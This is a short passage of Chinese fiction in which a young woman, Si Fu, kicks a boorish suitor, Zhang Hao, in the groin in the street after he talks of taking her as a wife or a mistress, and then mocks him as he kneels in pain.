陆之轩一愣神,姒芙已经抹着泪向张皓走去,还不等陆之轩反应,就听见身后许久未吭声的寂无寐突然轻轻唤了一声:“姒芙,别冲动。” 话音还未落下,街上蓦地响起一声惨叫。 忽见方才还嚣张不止的张皓,突然捂着下身跪倒下来,脸上惨白如金纸。 而始作俑者,轻轻拍了拍裙角,居高临下睥睨着他。 “正妻?外室?口里没个遮拦,想娶我?先看你身上这一两肉够不够硬!”